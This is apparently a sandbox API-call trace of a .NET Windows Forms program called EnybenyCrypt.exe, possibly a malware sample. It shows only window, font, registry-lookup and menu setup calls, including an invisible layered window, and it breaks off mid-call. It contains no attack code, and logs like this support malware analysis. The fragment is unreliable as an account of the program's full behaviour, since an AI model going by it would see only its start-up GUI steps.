[0042.797] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x1230000, lpParam=0x0) returned 0x701b2 [0042.797] SetWindowLongW (hWnd=0x701b2, nIndex=-4, dwNewLong=2005411293) returned 79890406 [0042.798] GetWindowLongW (hWnd=0x701b2, nIndex=-4) returned 2005411293 [0042.987] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x39e9d4 | out: phkResult=0x39e9d4*=0x214) returned 0x0 [0042.987] RegQueryValueExW (in: hKey=0x214, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x39e9f4, lpData=0x0, lpcbData=0x39e9f0*=0x0 | out: lpType=0x39e9f4*=0x0, lpData=0x0, lpcbData=0x39e9f0*=0x0) returned 0x2 [0042.987] RegQueryValueExW (in: hKey=0x214, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x39e9f4, lpData=0x0, lpcbData=0x39e9f0*=0x0 | out: lpType=0x39e9f4*=0x0, lpData=0x0, lpcbData=0x39e9f0*=0x0) returned 0x2 [0042.988] RegCloseKey (hKey=0x214) returned 0x0 [0042.990] SetWindowLongW (hWnd=0x701b2, nIndex=-4, dwNewLong=79890446) returned 2005411293 [0042.990] GetWindowLongW (hWnd=0x701b2, nIndex=-4) returned 79890446 [0042.990] GetWindowLongW (hWnd=0x701b2, nIndex=-16) returned 113311744 [0042.991] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc059 [0042.992] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc138 [0042.992] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x701b2, Msg=0x81, wParam=0x0, lParam=0x39eca0) returned 0x1 [0042.992] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x701b2, Msg=0x83, wParam=0x0, lParam=0x39ec8c) returned 0x0 [0043.000] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x701b2, Msg=0x1, wParam=0x0, lParam=0x39eca0) returned 0x0 [0043.000] GetClientRect (in: hWnd=0x701b2, lpRect=0x39ea08 | out: lpRect=0x39ea08) returned 1 [0043.000] GetWindowRect (in: hWnd=0x701b2, lpRect=0x39ea08 | out: lpRect=0x39ea08) returned 1 [0043.001] GetParent (hWnd=0x701b2) returned 0x0 [0043.001] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1b750001) returned 1 [0043.197] EtwEventRegister () returned 0x0 [0043.208] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x745a0000 [0043.208] AdjustWindowRectEx (in: lpRect=0x39f380, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x39f380) returned 1 [0043.208] GetSystemMetrics (nIndex=59) returned 1460 [0043.208] GetSystemMetrics (nIndex=60) returned 920 [0043.208] GetSystemMetrics (nIndex=34) returned 132 [0043.208] GetSystemMetrics (nIndex=35) returned 38 [0043.209] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x745a0000 [0043.209] AdjustWindowRectEx (in: lpRect=0x39f280, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x39f280) returned 1 [0043.219] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EnybenyCrypt.exe.config", nBufferLength=0x105, lpBuffer=0x39ec84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EnybenyCrypt.exe.config", lpFilePart=0x0) returned 0x3d [0043.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39f118) returned 1 [0043.220] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EnybenyCrypt.exe.config" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\enybenycrypt.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x39f194 | out: lpFileInformation=0x39f194*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0043.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39f114) returned 1 [0043.647] GetSystemMetrics (nIndex=11) returned 32 [0043.647] GetSystemMetrics (nIndex=12) returned 32 [0043.648] GetDC (hWnd=0x0) returned 0x130107f0 [0043.651] GetDeviceCaps (hdc=0x130107f0, index=12) returned 32 [0043.651] GetDeviceCaps (hdc=0x130107f0, index=14) returned 1 [0043.652] ReleaseDC (hWnd=0x0, hDC=0x130107f0) returned 1 [0043.653] CreateIconFromResourceEx (presbits=0x268cbb0, dwResSize=0x10828, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0xf0063 [0043.671] CreateCompatibleDC (hdc=0x0) returned 0x110101e3 [0043.673] GetSystemDefaultLCID () returned 0x409 [0043.673] GetStockObject (i=17) returned 0x18a0025 [0043.676] GetObjectW (in: h=0x18a0025, c=92, pv=0x39f0d8 | out: pv=0x39f0d8) returned 92 [0043.676] GetDC (hWnd=0x0) returned 0x130107f0 [0043.721] GdiplusStartup (in: token=0x125e70, input=0x39e6a8, output=0x39e6f8 | out: token=0x125e70, output=0x39e6f8) returned 0x0 [0043.749] CoTaskMemAlloc (cb=0x5c) returned 0x549bd8 [0043.750] GdipCreateFontFromLogfontW (hdc=0x130107f0, logfont=0x549bd8, font=0x39f1a0) returned 0x0 [0043.911] CoTaskMemFree (pv=0x549bd8) [0043.912] CoTaskMemAlloc (cb=0x5c) returned 0x549bd8 [0043.912] CoTaskMemFree (pv=0x549bd8) [0043.913] CoTaskMemAlloc (cb=0x5c) returned 0x549bd8 [0043.913] CoTaskMemFree (pv=0x549bd8) [0043.913] GdipGetFontUnit (font=0x5112230, unit=0x39f16c) returned 0x0 [0043.914] GdipGetFontSize (font=0x5112230, size=0x39f170) returned 0x0 [0043.914] GdipGetFontStyle (font=0x5112230, style=0x39f168) returned 0x0 [0043.914] GdipGetFamily (font=0x5112230, family=0x39f164) returned 0x0 [0043.914] GdipGetFontSize (font=0x5112230, size=0x269d8d0) returned 0x0 [0043.915] ReleaseDC (hWnd=0x0, hDC=0x130107f0) returned 1 [0043.915] GetDC (hWnd=0x0) returned 0x30107f5 [0043.916] GdipCreateFromHDC (hdc=0x30107f5, graphics=0x39f18c) returned 0x0 [0043.917] GdipGetDpiY (graphics=0x517fcf0, dpi=0x269d9d8) returned 0x0 [0043.918] GdipGetFontHeight (font=0x5112230, graphics=0x517fcf0, height=0x39f184) returned 0x0 [0043.918] GdipGetEmHeight (family=0x511f6b8, style=0, EmHeight=0x39f18c) returned 0x0 [0043.918] GdipGetLineSpacing (family=0x511f6b8, style=0, LineSpacing=0x39f18c) returned 0x0 [0043.918] GdipDeleteGraphics (graphics=0x517fcf0) returned 0x0 [0043.918] ReleaseDC (hWnd=0x0, hDC=0x30107f5) returned 1 [0043.919] GdipCreateFont (fontFamily=0x511f6b8, emSize=0x41040000, style=0, unit=0x3, font=0x269d998) returned 0x0 [0043.919] GdipGetFontSize (font=0x51d2940, size=0x269d99c) returned 0x0 [0043.919] GdipDeleteFont (font=0x5112230) returned 0x0 [0043.921] GetDC (hWnd=0x0) returned 0x30107f5 [0043.921] GdipCreateFromHDC (hdc=0x30107f5, graphics=0x39f1b0) returned 0x0 [0043.921] CoTaskMemAlloc (cb=0x5c) returned 0x549bd8 [0043.921] GdipGetLogFontW (font=0x51d2940, graphics=0x517fcf0, logfontW=0x549bd8) returned 0x0 [0043.922] CoTaskMemFree (pv=0x549bd8) [0043.922] CoTaskMemAlloc (cb=0x5c) returned 0x549bd8 [0043.922] CoTaskMemFree (pv=0x549bd8) [0043.922] CoTaskMemAlloc (cb=0x5c) returned 0x549bd8 [0043.922] CoTaskMemFree (pv=0x549bd8) [0043.922] GdipDeleteGraphics (graphics=0x517fcf0) returned 0x0 [0043.922] ReleaseDC (hWnd=0x0, hDC=0x30107f5) returned 1 [0043.923] CoTaskMemAlloc (cb=0x5c) returned 0x549bd8 [0043.923] CreateFontIndirectW (lplf=0x549bd8) returned 0x230a01e6 [0043.923] CoTaskMemFree (pv=0x549bd8) [0043.923] SelectObject (hdc=0x110101e3, h=0x230a01e6) returned 0x18a002e [0043.924] GetTextMetricsW (in: hdc=0x110101e3, lptm=0x39f2bc | out: lptm=0x39f2bc) returned 1 [0043.924] GetTextExtentPoint32W (in: hdc=0x110101e3, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x269dbf4 | out: psizl=0x269dbf4) returned 1 [0043.926] SelectObject (hdc=0x110101e3, h=0x18a002e) returned 0x230a01e6 [0043.928] DeleteDC (hdc=0x110101e3) returned 1 [0043.929] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x745a0000 [0043.929] AdjustWindowRectEx (in: lpRect=0x39f028, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x39f028) returned 1 [0043.929] AdjustWindowRectEx (in: lpRect=0x39f248, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x39f248) returned 1 [0043.929] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x745a0000 [0043.929] AdjustWindowRectEx (in: lpRect=0x39efa0, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x39efa0) returned 1 [0043.929] AdjustWindowRectEx (in: lpRect=0x39f080, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x39f080) returned 1 [0043.930] GetSystemMetrics (nIndex=34) returned 132 [0043.930] GetSystemMetrics (nIndex=35) returned 38 [0043.930] GetCurrentActCtx (in: lphActCtx=0x39f3ac | out: lphActCtx=0x39f3ac*=0x0) returned 1 [0043.930] ActivateActCtx (in: hActCtx=0x53c014, lpCookie=0x39f3bc | out: hActCtx=0x53c014, lpCookie=0x39f3bc) returned 1 [0043.933] GetCurrentActCtx (in: lphActCtx=0x39f1cc | out: lphActCtx=0x39f1cc*=0x53c014) returned 1 [0043.933] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74400000 [0043.933] AdjustWindowRectEx (in: lpRect=0x39f130, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x39f130) returned 1 [0043.933] GetModuleHandleW (lpModuleName=0x0) returned 0x1230000 [0043.933] CreateWindowExW (dwExStyle=0x50000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName="Form1", dwStyle=0x2cf0000, X=-2147483648, Y=-2147483648, nWidth=181, nHeight=38, hWndParent=0x0, hMenu=0x0, hInstance=0x1230000, lpParam=0x0) returned 0x4012a [0043.933] SetWindowLongW (hWnd=0x4012a, nIndex=-4, dwNewLong=2005411293) returned 79890406 [0043.933] GetWindowLongW (hWnd=0x4012a, nIndex=-4) returned 2005411293 [0043.934] SetWindowLongW (hWnd=0x4012a, nIndex=-4, dwNewLong=79890526) returned 2005411293 [0043.934] GetWindowLongW (hWnd=0x4012a, nIndex=-4) returned 79890526 [0043.934] GetWindowLongW (hWnd=0x4012a, nIndex=-16) returned 114229248 [0043.934] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x81, wParam=0x0, lParam=0x39ec60) returned 0x1 [0043.935] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x83, wParam=0x0, lParam=0x39ec4c) returned 0x0 [0044.087] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x1, wParam=0x0, lParam=0x39ec60) returned 0x0 [0044.087] GetClientRect (in: hWnd=0x4012a, lpRect=0x39e998 | out: lpRect=0x39e998) returned 1 [0044.087] GetWindowRect (in: hWnd=0x4012a, lpRect=0x39e998 | out: lpRect=0x39e998) returned 1 [0044.088] SetWindowTextW (hWnd=0x4012a, lpString="Form1") returned 1 [0044.088] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0xc, wParam=0x0, lParam=0x2668b04) returned 0x1 [0044.155] GetUserObjectInformationA (in: hObj=0x5c, nIndex=1, pvInfo=0x269e110, nLength=0xc, lpnLengthNeeded=0x39e898 | out: pvInfo=0x269e110, lpnLengthNeeded=0x39e898) returned 1 [0044.160] SetConsoleCtrlHandler (HandlerRoutine=0x4c30886, Add=1) returned 1 [0044.161] GetModuleHandleW (lpModuleName=0x0) returned 0x1230000 [0044.161] GetModuleHandleW (lpModuleName=0x0) returned 0x1230000 [0044.163] GetClassInfoW (in: hInstance=0x1230000, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWndClass=0x269e174 | out: lpWndClass=0x269e174) returned 0 [0044.165] CoTaskMemAlloc (cb=0x58) returned 0x5407d0 [0044.165] RegisterClassW (lpWndClass=0x39e7e8) returned 0xc136 [0044.165] CoTaskMemFree (pv=0x5407d0) [0044.166] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWindowName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x1230000, lpParam=0x0) returned 0x50120 [0044.166] NtdllDefWindowProc_W () returned 0x0 [0044.167] NtdllDefWindowProc_W () returned 0x0 [0044.167] NtdllDefWindowProc_W () returned 0x0 [0044.167] NtdllDefWindowProc_W () returned 0x0 [0044.174] GetStartupInfoW (in: lpStartupInfo=0x269e5c8 | out: lpStartupInfo=0x269e5c8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EnybenyCrypt.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0044.175] GetParent (hWnd=0x4012a) returned 0x0 [0044.175] SetWindowLongW (hWnd=0x4012a, nIndex=-8, dwNewLong=0) returned 0 [0044.175] GetSystemMetrics (nIndex=49) returned 16 [0044.175] GetSystemMetrics (nIndex=50) returned 16 [0044.175] CreateIconFromResourceEx (presbits=0x269e648, dwResSize=0x10828, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0xa01b1 [0044.176] SendMessageW (hWnd=0x4012a, Msg=0x80, wParam=0x0, lParam=0xa01b1) returned 0x0 [0044.176] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x80, wParam=0x0, lParam=0xa01b1) returned 0x0 [0044.177] SendMessageW (hWnd=0x4012a, Msg=0x80, wParam=0x1, lParam=0xf0063) returned 0x0 [0044.177] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x80, wParam=0x1, lParam=0xf0063) returned 0x0 [0044.190] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0xa01b1 [0044.192] GetSystemMenu (hWnd=0x4012a, bRevert=0) returned 0x6016f [0044.194] GetWindowPlacement (in: hWnd=0x4012a, lpwndpl=0x39f1dc | out: lpwndpl=0x39f1dc) returned 1 [0044.194] EnableMenuItem (hMenu=0x6016f, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0044.194] EnableMenuItem (hMenu=0x6016f, uIDEnableItem=0xf030, uEnable=0x0) returned 0 [0044.194] EnableMenuItem (hMenu=0x6016f, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0044.194] EnableMenuItem (hMenu=0x6016f, uIDEnableItem=0xf120, uEnable=0x1) returned 0 [0044.194] EnableMenuItem (hMenu=0x6016f, uIDEnableItem=0xf000, uEnable=0x0) returned 0 [0044.195] GetClientRect (in: hWnd=0x4012a, lpRect=0x39f220 | out: lpRect=0x39f220) returned 1 [0044.195] GetClientRect (in: hWnd=0x4012a, lpRect=0x39f180 | out: lpRect=0x39f180) returned 1 [0044.195] GetWindowRect (in: hWnd=0x4012a, lpRect=0x39f180 | out: lpRect=0x39f180) returned 1 [0044.195] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74400000 [0044.195] GetWindowLongW (hWnd=0x4012a, nIndex=-16) returned 114229248 [0044.195] GetWindowTextLengthW (hWnd=0x4012a) returned 5 [0044.195] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0044.195] GetSystemMetrics (nIndex=42) returned 0 [0044.196] GetWindowTextW (in: hWnd=0x4012a, lpString=0x39f124, nMaxCount=6 | out: lpString="Form1") returned 5 [0044.196] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0xd, wParam=0x6, lParam=0x39f124) returned 0x5 [0044.196] GetWindowTextLengthW (hWnd=0x4012a) returned 5 [0044.196] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0044.196] GetSystemMetrics (nIndex=42) returned 0 [0044.196] GetWindowTextW (in: hWnd=0x4012a, lpString=0x39f124, nMaxCount=6 | out: lpString="Form1") returned 5 [0044.196] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0xd, wParam=0x6, lParam=0x39f124) returned 0x5 [0044.197] GetWindowLongW (hWnd=0x4012a, nIndex=-16) returned 114229248 [0044.197] GetWindowLongW (hWnd=0x4012a, nIndex=-20) returned 327936 [0044.197] SetWindowLongW (hWnd=0x4012a, nIndex=-16, dwNewLong=47120384) returned 114229248 [0044.197] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x7c, wParam=0xfffffff0, lParam=0x39f174) returned 0x0 [0044.197] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x7d, wParam=0xfffffff0, lParam=0x39f174) returned 0x0 [0044.197] SetWindowLongW (hWnd=0x4012a, nIndex=-20, dwNewLong=327680) returned 327936 [0044.197] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x7c, wParam=0xffffffec, lParam=0x39f174) returned 0x0 [0044.197] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x7d, wParam=0xffffffec, lParam=0x39f174) returned 0x0 [0044.198] SetWindowPos (hWnd=0x4012a, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0044.198] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x46, wParam=0x0, lParam=0x39f194) returned 0x0 [0044.198] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x83, wParam=0x1, lParam=0x39f16c) returned 0x0 [0044.198] GetWindowPlacement (in: hWnd=0x4012a, lpwndpl=0x39ef44 | out: lpwndpl=0x39ef44) returned 1 [0044.198] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x47, wParam=0x0, lParam=0x39f194) returned 0x0 [0044.199] GetClientRect (in: hWnd=0x4012a, lpRect=0x39eef4 | out: lpRect=0x39eef4) returned 1 [0044.199] GetWindowRect (in: hWnd=0x4012a, lpRect=0x39eef4 | out: lpRect=0x39eef4) returned 1 [0044.199] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x83, wParam=0x1, lParam=0x39ed78) returned 0x0 [0044.200] RedrawWindow (hWnd=0x4012a, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0044.200] GetSystemMenu (hWnd=0x4012a, bRevert=0) returned 0x6016f [0044.200] GetWindowPlacement (in: hWnd=0x4012a, lpwndpl=0x39f1cc | out: lpwndpl=0x39f1cc) returned 1 [0044.200] EnableMenuItem (hMenu=0x6016f, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0044.200] EnableMenuItem (hMenu=0x6016f, uIDEnableItem=0xf030, uEnable=0x0) returned 0 [0044.200] EnableMenuItem (hMenu=0x6016f, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0044.200] EnableMenuItem (hMenu=0x6016f, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0044.200] EnableMenuItem (hMenu=0x6016f, uIDEnableItem=0xf000, uEnable=0x0) returned 0 [0044.200] ShowWindow (hWnd=0x4012a, nCmdShow=5) returned 0 [0044.200] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0044.201] GetWindowTextLengthW (hWnd=0x4012a) returned 5 [0044.201] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0044.201] GetSystemMetrics (nIndex=42) returned 0 [0044.201] GetWindowTextW (in: hWnd=0x4012a, lpString=0x39ee44, nMaxCount=6 | out: lpString="Form1") returned 5 [0044.201] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0xd, wParam=0x6, lParam=0x39ee44) returned 0x5 [0044.234] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74400000 [0044.234] GetWindowLongW (hWnd=0x4012a, nIndex=-16) returned 114229248 [0044.234] GetWindowTextLengthW (hWnd=0x4012a) returned 5 [0044.234] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0044.234] GetSystemMetrics (nIndex=42) returned 0 [0044.234] GetWindowTextW (in: hWnd=0x4012a, lpString=0x39ed48, nMaxCount=6 | out: lpString="Form1") returned 5 [0044.234] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0xd, wParam=0x6, lParam=0x39ed48) returned 0x5 [0044.234] GetWindowTextLengthW (hWnd=0x4012a) returned 5 [0044.234] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0044.234] GetSystemMetrics (nIndex=42) returned 0 [0044.234] GetWindowTextW (in: hWnd=0x4012a, lpString=0x39ed48, nMaxCount=6 | out: lpString="Form1") returned 5 [0044.234] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0xd, wParam=0x6, lParam=0x39ed48) returned 0x5 [0044.235] GetWindowLongW (hWnd=0x4012a, nIndex=-16) returned 114229248 [0044.235] GetWindowLongW (hWnd=0x4012a, nIndex=-20) returned 327936 [0044.235] SetWindowLongW (hWnd=0x4012a, nIndex=-16, dwNewLong=315555840) returned 114229248 [0044.235] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x7c, wParam=0xfffffff0, lParam=0x39ed98) returned 0x0 [0044.235] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x7d, wParam=0xfffffff0, lParam=0x39ed98) returned 0x0 [0044.235] SetWindowLongW (hWnd=0x4012a, nIndex=-20, dwNewLong=851968) returned 327936 [0044.235] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x7c, wParam=0xffffffec, lParam=0x39ed98) returned 0x0 [0044.237] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x7d, wParam=0xffffffec, lParam=0x39ed98) returned 0x0 [0044.238] SetWindowPos (hWnd=0x4012a, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0044.238] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x46, wParam=0x0, lParam=0x39edb8) returned 0x0 [0044.238] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x83, wParam=0x1, lParam=0x39ed90) returned 0x0 [0044.238] GetWindowPlacement (in: hWnd=0x4012a, lpwndpl=0x39eb68 | out: lpwndpl=0x39eb68) returned 1 [0044.238] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x47, wParam=0x0, lParam=0x39edb8) returned 0x0 [0044.239] GetClientRect (in: hWnd=0x4012a, lpRect=0x39eb18 | out: lpRect=0x39eb18) returned 1 [0044.239] GetWindowRect (in: hWnd=0x4012a, lpRect=0x39eb18 | out: lpRect=0x39eb18) returned 1 [0044.239] RedrawWindow (hWnd=0x4012a, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0044.239] GetSystemMenu (hWnd=0x4012a, bRevert=0) returned 0x6016f [0044.239] GetWindowPlacement (in: hWnd=0x4012a, lpwndpl=0x39edf0 | out: lpwndpl=0x39edf0) returned 1 [0044.239] EnableMenuItem (hMenu=0x6016f, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0044.239] EnableMenuItem (hMenu=0x6016f, uIDEnableItem=0xf030, uEnable=0x0) returned 0 [0044.239] EnableMenuItem (hMenu=0x6016f, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0044.239] EnableMenuItem (hMenu=0x6016f, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0044.239] EnableMenuItem (hMenu=0x6016f, uIDEnableItem=0xf000, uEnable=0x0) returned 0 [0044.253] SetLayeredWindowAttributes (hwnd=0x4012a, crKey=0x0, bAlpha=0x0, dwFlags=0x2) returned 1 [0044.258] GetCurrentThreadId () returned 0x7e4 [0044.287] EnumThreadWindows (dwThreadId=0x7e4, lpfn=0x4c308d6, lParam=0x4012a) returned 1 [0044.339] GetWindowLongW (hWnd=0x50120, nIndex=-8) returned 0 [0044.339] GetWindowLongW (hWnd=0x4012a, nIndex=-8) returned 0 [0044.339] GetWindowLongW (hWnd=0x50122, nIndex=-8) returned 262442 [0044.387] SetWindowLongW (hWnd=0x50122, nIndex=-8, dwNewLong=0) returned 262442 [0044.389] GetParent (hWnd=0x4012a) returned 0x0 [0044.389] GetWindowLongW (hWnd=0x4012a, nIndex=-20) returned 852224 [0044.390] DestroyWindow (hWnd=0x4012a) returned 1 [0044.390] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0044.390] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x46, wParam=0x0, lParam=0x39ecf4) returned 0x0 [0044.391] GetWindowPlacement (in: hWnd=0x4012a, lpwndpl=0x39eaa4 | out: lpwndpl=0x39eaa4) returned 1 [0044.391] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x47, wParam=0x0, lParam=0x39ecf4) returned 0x0 [0044.391] GetClientRect (in: hWnd=0x4012a, lpRect=0x39ea54 | out: lpRect=0x39ea54) returned 1 [0044.391] GetWindowRect (in: hWnd=0x4012a, lpRect=0x39ea54 | out: lpRect=0x39ea54) returned 1 [0044.404] GetWindowTextLengthW (hWnd=0x4012a) returned 5 [0044.404] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0044.404] GetSystemMetrics (nIndex=42) returned 0 [0044.404] GetWindowTextW (in: hWnd=0x4012a, lpString=0x39e980, nMaxCount=6 | out: lpString="Form1") returned 5 [0044.404] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0xd, wParam=0x6, lParam=0x39e980) returned 0x5 [0044.404] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0044.405] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x4012a, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0044.408] GetCurrentActCtx (in: lphActCtx=0x39ed50 | out: lphActCtx=0x39ed50*=0x53c014) returned 1 [0044.408] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74400000 [0044.408] GetModuleHandleW (lpModuleName=0x0) returned 0x1230000 [0044.408] CreateWindowExW (dwExStyle=0x90000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName="Form1", dwStyle=0x2cf0000, X=75, Y=75, nWidth=181, nHeight=38, hWndParent=0x0, hMenu=0x0, hInstance=0x1230000, lpParam=0x0) returned 0x301b0 [0044.409] SetWindowLongW (hWnd=0x301b0, nIndex=-4, dwNewLong=2005411293) returned 79890406 [0044.409] GetWindowLongW (hWnd=0x301b0, nIndex=-4) returned 2005411293 [0044.409] SetWindowLongW (hWnd=0x301b0, nIndex=-4, dwNewLong=79890686) returned 2005411293 [0044.409] GetWindowLongW (hWnd=0x301b0, nIndex=-4) returned 79890686 [0044.409] GetWindowLongW (hWnd=0x301b0, nIndex=-16) returned 114229248 [0044.410] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0x81, wParam=0x0, lParam=0x39e7e4) returned 0x1 [0044.410] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, 